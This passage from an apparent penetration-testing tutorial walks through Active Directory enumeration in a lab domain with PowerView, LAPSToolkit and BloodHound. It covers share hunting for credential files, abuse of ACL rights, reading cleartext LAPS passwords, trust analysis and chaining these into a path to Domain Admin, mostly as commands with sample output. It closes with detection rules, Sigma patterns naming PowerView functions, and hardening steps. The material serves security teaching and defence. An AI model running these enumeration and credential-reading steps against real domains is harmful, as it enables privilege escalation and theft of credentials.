ScriptShare 0    Logon scripts     DC01.lab.local

Then hunt files. Find-InterestingDomainShareFile recursively searches accessible shares for patterns that commonly hold secrets.

Find-InterestingDomainShareFile -Include "*.txt","*.xml","*.ps1","*.config","*.kdbx"
Path                                              Owner        LastAccessTime       Length
----                                              -----        --------------       ------
\\FILE01.lab.local\Software\deploy\unattend.xml   lab\svc_sql  4/19/2024 2:11:09 PM 4096
\\FILE01.lab.local\Profiles\jsmith\creds.txt      lab\jsmith   5/01/2024 8:02:55 AM 212
\\DC01.lab.local\ScriptShare\map_drives.ps1       lab\svc_da   3/14/2024 9:40:18 AM 1881

unattend.xml and a creds.txt are classic plaintext credential stores. Reading creds.txt would map to T1552.001 (Unsecured Credentials: Credentials In Files). Share discovery itself is T1135 (Network Share Discovery).


10. ACL and DACL Enumeration

This is where enumeration becomes an attack graph. Every AD object carries an nTSecurityDescriptor holding a DACL, a list of ACEs. Each ACE binds a trustee SID to a set of ActiveDirectoryRights (ReadProperty, WriteProperty, GenericAll, WriteDacl, WriteOwner, etc.) and, optionally, an ObjectAceType GUID naming the specific property or extended right the ACE applies to. Abusable ACEs let a low-priv principal modify an object they should not control.

The key abuse rights:

RightAbuse Scenario
GenericAllFull control: reset password, add to group, read LAPS, set SPN for kerberoast
GenericWriteWrite attributes: set SPN (targeted kerberoast), set logon script
WriteDaclRewrite the object’s DACL to grant yourself GenericAll
WriteOwnerTake ownership, then rewrite the DACL
ForceChangePasswordReset the target’s password without knowing the old one
AllExtendedRightsIncludes the LAPS read right and password reset

-ResolveGUIDs translates the cryptic ObjectAceType GUIDs into readable names like ms-Mcs-AdmPwd or User-Force-Change-Password. Without it you are staring at raw GUIDs. The first time I ran this without -ResolveGUIDs I spent an hour cross-referencing GUIDs by hand against the schema. Do not repeat my mistake.

Cast the wide net first:

Find-InterestingDomainAcl -ResolveGUIDs |
  Select-Object ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
ObjectDN                              ActiveDirectoryRights ObjectAceType            IdentityReferenceName
--------                              --------------------- -------------            ---------------------
CN=WS01,OU=Workstations,DC=lab,DC=local   WriteDacl         All                      Helpdesk
OU=Servers,DC=lab,DC=local                GenericAll        All                      svc_backup
CN=jsmith,CN=Users,DC=lab,DC=local        ExtendedRight     User-Force-Change-Password Helpdesk
CN=WS01,OU=Workstations,DC=lab,DC=local   ReadProperty      ms-Mcs-AdmPwd            Helpdesk

Four attack edges in one query. Drill into the WS01 object to confirm the WriteDacl:

Get-DomainObjectAcl -Identity "CN=WS01,OU=Workstations,DC=lab,DC=local" -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|ForceChangePassword" } |
  Select-Object ActiveDirectoryRights, ObjectAceType, SecurityIdentifier
ActiveDirectoryRights ObjectAceType SecurityIdentifier
--------------------- ------------- ------------------
WriteDacl             All           S-1-5-21-1583049731-1842831045-2390477603-1150

Resolve the trustee SID:

Convert-SidToName S-1-5-21-1583049731-1842831045-2390477603-1150
lab\Helpdesk

Because lowpriv is in Helpdesk, and Helpdesk has WriteDacl on WS01$, lowpriv can rewrite that object’s DACL to grant itself GenericAll, then read LAPS or perform a resource-based constrained delegation attack against WS01. Check the OU edge too:

Get-DomainObjectAcl -Identity "OU=Servers,DC=lab,DC=local" -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -eq "GenericAll" } |
  Select-Object SecurityIdentifier, ActiveDirectoryRights
SecurityIdentifier                                ActiveDirectoryRights
------------------                                ---------------------
S-1-5-21-1583049731-1842831045-2390477603-1117    GenericAll

That SID is svc_backup. GenericAll on OU=Servers means whoever controls svc_backup can set inheritable ACLs on every server object in that OU. The ForceChangePassword edge over jsmith means Helpdesk (and thus lowpriv) can reset jsmith‘s password outright. ACL enumeration is the connective tissue of the whole graph.


Flow diagram tracing lowpriv through Helpdesk group membership to WriteDacl on WS01, then to self-granted GenericAll enabling LAPS read and RBCD attack, and a separate edge to ForceChangePassword on jsmith
A single WriteDacl ACE is a skeleton key – rewriting the DACL to grant GenericAll unlocks LAPS credential theft and resource-based constrained delegation in one step.

11. LAPS Enumeration

LAPS (Local Administrator Password Solution) rotates each machine’s local admin password and stores it in AD. Legacy LAPS v1 extends the schema with two attributes on the computer object:

AttributeMeaningRead Permission
ms-Mcs-AdmPwdThe plaintext local admin passwordRestricted to delegated principals
ms-Mcs-AdmPwdExpirationTimeFILETIME when the password expiresReadable by any authenticated user

That asymmetry is the enumeration foothold. Any user can read the expiration time, so you can detect which machines run LAPS without any special rights:

Get-DomainComputer | Where-Object { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } |
  Select-Object dnshostname, @{N='Expires';E={[datetime]::FromFileTime($_."ms-Mcs-AdmPwdExpirationTime")}}
dnshostname      Expires
-----------      -------
WS01.lab.local   5/14/2024 3:00:00 AM
WS02.lab.local   5/14/2024 3:00:00 AM
SQL01.lab.local  5/13/2024 3:00:00 AM

The password itself is protected. But you already proved in section 10 that Helpdesk holds ReadProperty on ms-Mcs-AdmPwd for the Workstations OU, and lowpriv is in Helpdesk. So the read should succeed:

Get-DomainComputer WS01 -Properties ms-mcs-AdmPwd, dnshostname, ms-mcs-AdmPwdExpirationTime
dnshostname                 : WS01.lab.local
ms-mcs-admpwd               : 7Vx@9kLm!2Qp4nRt
ms-mcs-admpwdexpirationtime : 133593408000000000

That is the cleartext local Administrator password for WS01. You can now log in as local admin over SMB or WinRM, which is T1078.002 (Valid Accounts: Domain Accounts) in effect.

The deeper enumeration skill, and the one harmj0y documented, is finding who can read LAPS even when you cannot, so you can target those principals. Read the OU ACLs and filter for the ms-Mcs-AdmPwd ObjectAceType:

Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs |
  Where-Object { ($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty') } |
  ForEach-Object { $_ | Add-Member NoteProperty 'IdentityName' (Convert-SidToName $_.SecurityIdentifier) -Force -PassThru } |
  Select-Object ObjectDN, IdentityName, ActiveDirectoryRights
ObjectDN                        IdentityName  ActiveDirectoryRights
--------                        ------------  ---------------------
OU=Workstations,DC=lab,DC=local lab\Helpdesk  ReadProperty, ExtendedRight

A subtle, commonly missed point: anyone with All Extended Rights on a computer object can read the LAPS password, and the account that joined a machine to the domain automatically receives All Extended Rights on it. With ms-DS-MachineAccountQuota = 10, any standard user can join up to ten machines and inherit LAPS read on each. That is why hardening the quota matters.

LAPSToolkit (leoloobeek) automates this enumeration:

. .\LAPSToolkit.ps1
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers
# Find-LAPSDelegatedGroups
OrgUnit                          Delegated Groups
-------                          ----------------
OU=Workstations,DC=lab,DC=local  lab\Helpdesk

# Find-AdmPwdExtendedRights
ComputerName    Identity      Rights
------------    --------      ------
WS01.lab.local  lab\Helpdesk  All Extended Rights

# Get-LAPSComputers
ComputerName    Password           Expiration
------------    --------           ----------
WS01.lab.local  7Vx@9kLm!2Qp4nRt   5/14/2024 3:00:00 AM
WS02.lab.local  Bq!8zWn3@LpK6mDc   5/14/2024 3:00:00 AM

Note the version difference. Windows LAPS v2 (built into Windows Server 2022 and the April 2023 update) uses msLAPS-Password, msLAPS-PasswordExpirationTime, and msLAPS-EncryptedPassword. If the encrypted attribute is in use, the password is DPAPI-protected and not directly readable from LDAP, so your enumeration must pivot to the legacy attributes or to the principals authorized to decrypt. Always check which schema is deployed before assuming a cleartext read.


Illustration of a broken-open safe revealing a glowing key, symbolising LAPS password exposure through over-broad delegation
LAPS stores local admin passwords securely by design – but over-broad delegation of ReadProperty rights hands the key to any group member who knows to ask.

12. Trust Enumeration

Trusts let principals in one domain access resources in another. The direction and transitivity dictate which attacks travel across the boundary. Get-DomainTrust enumerates them via the DSEnumerateDomainTrusts() API and LDAP under the hood.

Get-DomainTrust | Select-Object SourceName, TargetName, TrustDirection, TrustType, TrustAttributes
SourceName TargetName    TrustDirection TrustType                TrustAttributes
---------- ----------    -------------- ---------                ---------------
lab.local  dev.lab.local Bidirectional  WINDOWS_ACTIVE_DIRECTORY WITHIN_FOREST
lab.local  partner.ext   Inbound        WINDOWS_ACTIVE_DIRECTORY FOREST_TRANSITIVE, FILTER_SIDS
Get-ForestTrust | Select-Object SourceName, TargetName, TrustDirection, TrustAttributes
SourceName TargetName  TrustDirection TrustAttributes
---------- ----------  -------------- ---------------
lab.local  partner.ext Inbound        FOREST_TRANSITIVE, FILTER_SIDS

Read this carefully. The dev.lab.local trust is WITHIN_FOREST and bidirectional, which means it is fully transitive and SID filtering does not apply inside a forest. Compromise of dev.lab.local is effectively compromise of lab.local via SID-History injection, because the krbtgt of either domain can forge tickets the other trusts. The partner.ext forest trust shows FILTER_SIDS, meaning SID filtering is enabled and SID-History injection is blocked across that boundary.

Trust knowledge enables SID-History injection, Pass-the-Ticket, and cross-domain Kerberoasting. This maps to T1482 (Domain Trust Discovery).


13. Building the Full Object Graph

Each section produced an isolated fact. The value is in chaining them. Take the edges you found and order them by how directly they reach Domain Admin:

Edge (Source -> Target)PrimitiveRightOutcome
lowpriv -> Helpdesk (member)Group membershipn/aInherits all Helpdesk rights
Helpdesk -> WS01/WS02GPO local adminRestricted GroupsLocal admin, credential dump
Helpdesk -> WS01 LAPSLDAP readReadProperty ms-Mcs-AdmPwdCleartext local admin password
Helpdesk -> jsmithPassword resetForceChangePasswordTake over jsmith
Helpdesk -> WS01$DACL takeoverWriteDaclGrant self GenericAll, RBCD attack
svc_backup -> OU=ServersOU controlGenericAllPush ACLs to all servers
svc_da in Domain AdminsKerberoastSPN presentCrack TGS offline -> DA
lab.local <-> dev.lab.localIntra-forest trustNo SID filterSID-History to DA

The fastest path: lowpriv is in Helpdesk, Helpdesk reads LAPS for WS01, WS01 likely caches svc_da or a DA session, dump LSASS, escalate. Use Find-DomainUserLocation to confirm where the high-value accounts actually sit:

Find-DomainUserLocation -UserGroupIdentity "Domain Admins"
UserDomain UserName ComputerName    SessionFromName
---------- -------- ------------    ---------------
lab        svc_da   WS01.lab.local  10.10.10.21

svc_da has a session on WS01, the very box you have local admin on via LAPS. The chain closes.

Export findings for offline analysis with the thread-safe CSV helper:

Export-PowerViewCSV -InputObject (Get-DomainUser) -Path .\users.csv
# users.csv written: 47 user objects, 312 properties serialized

For visual traversal, hand the graph to BloodHound. SharpHound collects the same data plus session and ACL edges and renders shortest-path queries. BloodHound is a separate tool; cross-reference its paths against your PowerView findings to validate them.

Invoke-BloodHound -CollectionMethod "All,GPOLocalGroup" -OutputDirectory .\BH_Output\
[*] Resolved Collection Methods: Group, LocalAdmin, Session, ACL, GPOLocalGroup, ...
[*] Beginning LDAP search for lab.local
[*] Status: 312 objects finished (+312 1560/s) -- Using 84 MB RAM
[*] Compressing data to .\BH_Output\20240510131207_BloodHound.zip
[*] Done! Enumeration completed in 00:00:14

Load the zip into the BloodHound GUI and run “Shortest Paths to Domain Admins.” It should draw the exact chain you assembled by hand, which is the confirmation that your manual enumeration was complete.


Graph showing the complete attack chain from lowpriv through Helpdesk group rights, LAPS password read and GPO local admin on WS01, to LSASS dump of svc_da credentials yielding Domain Admin
Every enumeration finding is an edge; chaining them reveals the shortest path from a single phished account to full domain compromise.

14. Detection, Defense and Hardening

Everything above is loud if the right logging is on. PowerView’s LDAP queries, PowerShell execution, and AD object reads all leave traces.

Windows Event IDs

Event IDLogWhat It Records
4662SecurityOperation on an AD object: fires on object reads once Directory Service Access auditing is enabled
4661SecurityHandle to a SAM object requested (SAM enumeration)
4624SecurityAccount logon: correlate to the enumeration session source IP
4688 / Sysmon 1Security / SysmonProcess creation: powershell.exe with suspicious parent
4103PowerShell/OperationalModule logging: pipeline command records
4104PowerShell/OperationalScript Block Logging: full script block text, catches PowerView function names

ETW and Sysmon

ProviderCatches
Microsoft-Windows-PowerShell4103 / 4104 script and module events
Microsoft-Windows-LDAP-ClientClient-side DirectorySearcher queries
Microsoft-Windows-Security-Auditing4662, 4661, 4624
Microsoft-Windows-SysmonEvent 1 (process create), Event 3 (network connect to DC 389/636/9389)

Enable Script Block Logging via registry or GPO:

HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
EnableScriptBlockLogging = 1

The 4103/4104 events are identical across Windows PowerShell 5.1 and PowerShell 7, so query both powershell.exe and pwsh.exe sources in your SIEM. An attacker who switches engines otherwise splits across log channels.

Sigma Rules

Detect PowerView usage from script block content:

title: PowerView Domain Enumeration via Script Block Logging
logsource:
  product: windows
  category: ps_script   # EventID 4104
detection:
  selection:
    ScriptBlockText|contains:
      - 'Get-DomainUser'
      - 'Get-DomainComputer'
      - 'Find-InterestingDomainAcl'
      - 'Invoke-UserImpersonation'
      - 'Get-DomainGPO'
      - 'Find-DomainShare'
      - 'ms-Mcs-AdmPwd'
  condition: selection
level: high

Detect the AD-module fallback (the ADWS evasion path):

title: Suspicious AD Management DLL Import
logsource:
  product: windows
  category: ps_script
detection:
  selection:
    ScriptBlockText|contains|all:
      - 'Import-Module'
      - 'Microsoft.ActiveDirectory.Management.dll'
  selection_alt:
    ScriptBlockText|contains: 'ipmo Microsoft.ActiveDirectory.Management.dll'
  condition: selection or selection_alt
level: medium

Detect noisy LDAP recon on the DC itself with the SigmaHQ win_ldap_recon pattern, which keys on EventID 1644 (LDAP query statistics) when expensive or inefficient query thresholds are exceeded.

Hardening

  1. Enable Script Block Logging (4104) and Module Logging (4103) domain-wide via GPO.
  2. Enable Audit Directory Service Access so AD object reads generate 4662.
  3. Set ms-DS-MachineAccountQuota = 0 so standard users cannot join machines and inherit All Extended Rights (and LAPS read).
  4. Audit LAPS delegations regularly with Find-AdmPwdExtendedRights; strip All Extended Rights from non-admin groups; move to Windows LAPS v2 with msLAPS-EncryptedPassword.
  5. Add privileged accounts to the Protected Users group to block credential caching and delegation abuse.
  6. Lock down SYSVOL and gpLink read paths so GPO files do not leak configuration.
  7. Deploy AMSI and alert on bypass patterns (obfuscated [Ref].Assembly... strings in 4104 events).
  8. Enforce a tiered administration model so a low-priv foothold cannot pivot to Tier 0.
  9. Monitor DC ports 389/636/9389 with Sysmon Event 3 from workstation powershell.exe; that is a high-fidelity recon signal.
  10. Remember Constrained Language Mode is not a complete control: it cripples PowerView but the signed AD module still enumerates the domain, so do not rely on CLM alone.

Tools

ToolDescriptionLink
PowerViewPure-PowerShell AD enumeration (PowerSploit/Recon)github.com/PowerShellMafia/PowerSploit
LAPSToolkitLAPS delegation and password enumerationgithub.com/leoloobeek/LAPSToolkit
BloodHound / SharpHoundAD attack-path graph collection and visualizationbloodhound.specterops.io
WinObj / Process HackerObject and process inspection on hostssysinternals.com
SysmonProcess, network, and thread telemetrysysinternals.com

MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.0024104 (Get-DomainUser), 4662
Permission Groups Discovery: Domain GroupsT1069.0024104 (Get-DomainGroupMember)
Remote System DiscoveryT10184104 (Get-DomainComputer), LDAP 1644
Domain Trust DiscoveryT14824104 (Get-DomainTrust), 4662
Group Policy DiscoveryT16154104 (Get-DomainGPO), SYSVOL access
Network Share DiscoveryT1135Sysmon 3, 4104 (Find-DomainShare)
Password Policy DiscoveryT12014104 (Get-DomainPolicy)
Unsecured Credentials: Credentials In FilesT1552.001File access auditing on shares
Valid Accounts: Domain AccountsT1078.0024624 anomalous local-admin logon (LAPS)

Summary

  • A single low-privilege domain user can read almost the entire directory over LDAP, which is why PowerView turns a foothold into a full attack-path map.
  • Enumerate in order: domain baseline, users, groups, computers, OUs, GPOs, shares, ACLs, LAPS, trusts, and each output narrows the next query through distinguishedName, gpLink, and SIDs.
  • The real escalation lives in ACEs and LAPS delegation: WriteDacl, GenericAll, ForceChangePassword, and ReadProperty on ms-Mcs-AdmPwd are the edges that reach Domain Admin.
  • Chain the findings into a prioritized graph and validate it against BloodHound; manual enumeration and automated graphing should agree.
  • Detect it with Script Block Logging (4104), Directory Service Access auditing (4662), and Sysmon network events to the DC, and harden by setting ms-DS-MachineAccountQuota = 0, tightening LAPS delegation, and enforcing a tiered admin model.

Related Tutorials

References